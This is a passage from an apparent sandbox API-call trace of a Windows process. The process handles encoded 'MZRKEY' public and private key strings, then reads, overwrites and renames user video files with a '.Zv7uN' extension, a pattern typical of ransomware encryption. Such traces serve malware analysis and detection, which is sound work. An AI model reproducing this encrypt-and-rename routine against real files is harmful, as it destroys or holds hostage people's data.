lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.052] GetCurrentThreadId () returned 0xa30 [0087.052] GetCurrentThreadId () returned 0xa30 [0087.052] GetCurrentThreadId () returned 0xa30 [0087.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\MqJoN1slSECN 8iZ4uI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\mqjon1slsecn 8iz4ui.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.052] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.052] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.053] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x9fbe [0087.053] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.053] ReadFile (in: hFile=0x104, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x9fbe, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x9fbe, lpOverlapped=0x0) returned 1 [0087.055] CloseHandle (hObject=0x104) returned 1 [0087.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\MqJoN1slSECN 8iZ4uI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\mqjon1slsecn 8iz4ui.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.057] WriteFile (in: hFile=0x104, lpBuffer=0x1f22e00*, nNumberOfBytesToWrite=0x9fbe, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f22e00*, lpNumberOfBytesWritten=0x18f3e0*=0x9fbe, lpOverlapped=0x0) returned 1 [0087.060] CloseHandle (hObject=0x104) returned 1 [0087.062] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\MqJoN1slSECN 8iZ4uI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\mqjon1slsecn 8iz4ui.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\MqJoN1slSECN 8iZ4uI.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\mqjon1slsecn 8iz4ui.flv.zv7un")) returned 1 [0087.063] GetCurrentThreadId () returned 0xa30 [0087.063] GetCurrentThreadId () returned 0xa30 [0087.063] GetCurrentThreadId () returned 0xa30 [0087.063] GetCurrentThreadId () returned 0xa30 [0087.063] GetCurrentThreadId () returned 0xa30 [0087.063] GetCurrentThreadId () returned 0xa30 [0087.063] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22797030, ftCreationTime.dwHighDateTime=0x1d5e07f, ftLastAccessTime.dwLowDateTime=0xf4ef65a0, ftLastAccessTime.dwHighDateTime=0x1d5e12f, ftLastWriteTime.dwLowDateTime=0xf4ef65a0, ftLastWriteTime.dwHighDateTime=0x1d5e12f, nFileSizeHigh=0x0, nFileSizeLow=0x101d1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TWK rlk6lsZA1Ob3gqB.mp4", cAlternateFileName="TWKRLK~1.MP4")) returned 1 [0087.063] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.063] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\TWK rlk6lsZA1Ob3gqB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\twk rlk6lsza1ob3gqb.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22797030, ftCreationTime.dwHighDateTime=0x1d5e07f, ftLastAccessTime.dwLowDateTime=0xf4ef65a0, ftLastAccessTime.dwHighDateTime=0x1d5e12f, ftLastWriteTime.dwLowDateTime=0xf4ef65a0, ftLastWriteTime.dwHighDateTime=0x1d5e12f, nFileSizeHigh=0x0, nFileSizeLow=0x101d1)) returned 1 [0087.064] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\TWK rlk6lsZA1Ob3gqB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\twk rlk6lsza1ob3gqb.mp4")) returned 0x20 [0087.064] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\TWK rlk6lsZA1Ob3gqB.mp4", dwFileAttributes=0x80) returned 1 [0087.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.067] GetCurrentThreadId () returned 0xa30 [0087.067] GetCurrentThreadId () returned 0xa30 [0087.067] GetCurrentThreadId () returned 0xa30 [0087.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.068] GetCurrentThreadId () returned 0xa30 [0087.068] GetCurrentThreadId () returned 0xa30 [0087.068] GetCurrentThreadId () returned 0xa30 [0087.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\TWK rlk6lsZA1Ob3gqB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\twk rlk6lsza1ob3gqb.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.068] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.069] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.069] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x101d1 [0087.069] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.069] ReadFile (in: hFile=0x104, lpBuffer=0x1f18dd0, 